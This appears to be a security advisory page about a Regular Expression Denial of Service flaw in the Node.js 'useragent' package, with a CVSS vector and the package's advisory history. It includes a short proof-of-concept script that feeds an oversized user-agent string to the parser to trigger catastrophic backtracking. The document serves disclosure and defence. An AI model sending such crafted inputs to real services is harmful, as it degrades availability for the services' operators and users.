Medium

useragent Regular Expression Denial of Service vulnerability

Disclosed: 26.10.2024
Updated: 11.10.2026 10:22

Useragent is a user agent parser for Node.js. All versions as of time of publication contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

async function exploit() {
   const useragent = require(\"useragent\");

   // Create a malicious user-agent that leads to excessive backtracking
   const maliciousUserAgent = 'Mozilla/5.0 (' + 'X'.repeat(30000) + ') Gecko/20100101 Firefox/77.0';

   // Parse the malicious user-agent
   const agent = useragent.parse(maliciousUserAgent);

   // Call the toString method to trigger the vulnerability
   const result = await agent.device.toString();
   console.log(result);
}

await exploit();

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	useragent	<= 2.3.0	no fix

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-1333
Platform: npm
Package: useragent
Disclosed: 26.10.2024
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-mgfv-m47x-4wqp - CC BY 4.0

Vulnerability history: useragent

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 2
First → latest: 07.2018 10.2024
Without a fix: 1
Exploited in attacks: 0

Severity breakdown

High 1
Medium 1

Disclosures per year

2018: 1
2019: 0
2020: 0
2021: 0
2022: 0
2023: 0
2024: 1
2025: 0
2026: 0

26.10.2024

useragent Regular Expression Denial of Service vulnerability this entry

Medium · 7.5 CVE-2020-26311 <= 2.3.0 no fix
24.07.2018

ReDoS via long UserAgent header in useragent

High CVE-2017-16030 < 2.1.13 2.1.13

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application